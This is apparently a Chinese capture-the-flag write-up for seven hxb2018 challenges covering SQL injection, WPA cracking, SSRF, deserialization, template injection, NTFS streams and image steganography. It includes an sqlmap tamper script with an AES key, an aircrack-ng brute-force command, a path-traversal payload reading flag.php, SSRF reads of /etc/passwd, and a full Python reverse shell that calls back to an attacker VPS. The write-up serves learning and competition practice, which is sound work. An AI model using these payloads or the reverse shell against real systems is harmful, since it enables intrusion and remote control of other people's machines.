1.題目名 Code Check
打開題目,右鍵發現有id參數的url,簡單base64解碼以後發現不是明文,說明利用了其他的加密方式,那麼應該會有具體的加密方式給我們,於是試試常見的文件泄露,可以發現list.zip,打開發現是具體的解密邏輯與查詢邏輯。
有了解密邏輯我們就可以逆着寫出加密邏輯,另外id參數明顯存在注入,只需要寫一個加密的sqlmap的tamper腳本,然後放到sqlmap的tamper目錄下就可以了,之後在sqlmap裏跑一跑就可以出flag
下面是改過的tamper腳本
#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import base64 from Crypto.Cipher import AES from lib.core.enums import PRIORITY from lib.core.settings import UNICODE_ENCODING __priority__ = PRIORITY.LOWEST def dependencies(): pass def encrypt(text): padding = '\0' key = 'ydhaqPQnexoaDuW3' iv = '2018201920202021' pad_it = lambda s: s+(16 - len(s)%16)*padding cipher = AES.new(key, AES.MODE_CBC, iv) text = text + 'hxb2018' return base64.b64encode(base64.b64encode(cipher.encrypt(pad_it(text)))) def tamper(payload, **kwargs): return encrypt(payload)
2.題目名 Flow
題目是個流量包,802.11的,數據包是加密的,所以嘗試一下能不能爆破出來key來解密一下上層的其他數據包來找flag,一般做無線的題目需要用到aircrack-ng這個無線破解工具。
首先需要一個弱密碼的字典,然後運行 aircrack-ng -w 字典名 + 流量包,運氣比較好剛好爆破出來了key爲password1
有了key就能導入到wireshark裏面對wpa加密的無線數據包進行解密
解密之後在導出http對象中發現flag
3.題目名 readflag
ssrf的題目,首先讀了下/etc/passwd沒有什麼有用的東西,所以繼續讀一下/etc/hosts發現內網裏面有兩臺主機
經過簡單測試,發現題目的內網主機號爲230,另一臺內網機器的主機號是183,所以嘗試讀一下另一個機器上的文件,首先讀一下apache的配置文件,發現如下路徑樹
又因爲http的網站在站點的配置文件下有默認的000-default.conf,所以嘗試訪問如下:
發現了web的源碼路徑,直接讀取
發現路徑/var/www/html/ssrf/readflag,嘗試訪問是個elf,一堆亂碼,所以用wget下載這個elf,然後ida裏面加載一下發現如下:
所以更改一下路徑,讀取如下,得到flag
4.題目名 mynote
這是一道反序列化的題目,在我們註冊登陸以後,在抓包中發現picture參數有問題,base64解碼發現其爲序列化的數據,所以猜測是否其存在反序列化漏洞,我們上傳一個jpg文件
又因爲後端會訪問我們上傳的圖片並會返回到前端,所以嘗試是否可以讀取任意文件,上傳1.jpg以後,抓包並且改爲payload爲a:1:{i:0;s:14:”../../flag.php”;},然後放包如下圖所示,可以看到一串base64編碼
解密後就能看到flag如上圖所示
5. 管理員的flag在哪裏?
註冊登陸後,在添加標題那裏剛開始選擇“是”這個選項,以爲是xss,但是沒效果,於是選擇“否”,添加標題後發現有show頁面,嘗試了一下模板注入的payload
返回了9說明的確存在模板注入,於是嘗試是否可以執行命令
構造payload如下:
返回的值證明可以執行命令,又繼續嘗試了一下curl和wget 都能使用,所以嘗試反彈一下shell試試,在vps上監聽一下端口,使用exp下載vps上的shell.py文件並執行,構造以下payload:
shell如下:
#!/usr/bin/env python #coding:utf-8 import os import pty import socket lhost = "xx.xx.xx.xx" #vps的ip地址 lport = 21192 #vps的端口 def main(): s= socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((lhost,lport)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) pty.spawn('/bin/bash') s.close() main()
分別show以上的兩條payload以後就能夠拿到shell,在Xme0目錄下存在auto.js 查看它如下圖所示得到flag
6.disk
下載一個是一個vmdk文件,首先看看能不能提取出來啥東西,這裏需要用到7z
提取出來裏面有四個flag文件,但是打開並不是flag,隊友說可能跟NTFS隱藏數據流有關係,所以百度一波,在網上找到如下工具
能夠檢測出隱藏在文件中的NTFS數據流,搜索一下果然找到了可疑的數據流
百度到ads原來是可以隱藏後門的,於是分別打開四個flag文件
打開flag1.txt後是一段二進制,在線將其轉化爲字符串試試
發現是flag,所以繼續轉換後面的三個文件中的二進制文件並轉換就可以得到flag
7.Hidden Write
首先拿到圖片先binwalk一下,發現什麼都沒有
然後strings一下圖片
結尾發現flag的一部分字符串78cd89c18c
肯定在別的地方還有flag的其他部分,所以用16進制編輯器看看圖片,發現其有三個圖片其中兩張圖片沒有頭部的前8個字節,所以把兩張圖片摳出來加上頭部,就變成3張圖片了
此時掏出stegsolve來給三張圖片用一用,在第二張圖中發現了bgr通道的lsb隱寫
hxb2018{1e30f3b836d78d25c ,由此得到了flag的另一個部分,此時明顯還少最後一個部分,此時有三張圖片當然想到用盲水印,以前在比賽中遇到過,所以用下圖所示的工具試試:
由於有3張圖片所以需要兩兩結合來花費3次來嘗試
由此得到flag的最後一段爲20b4a}
最後拼接得到flag:
hxb2018{1e30f3b836d78d25c78cd89c18c20b4a}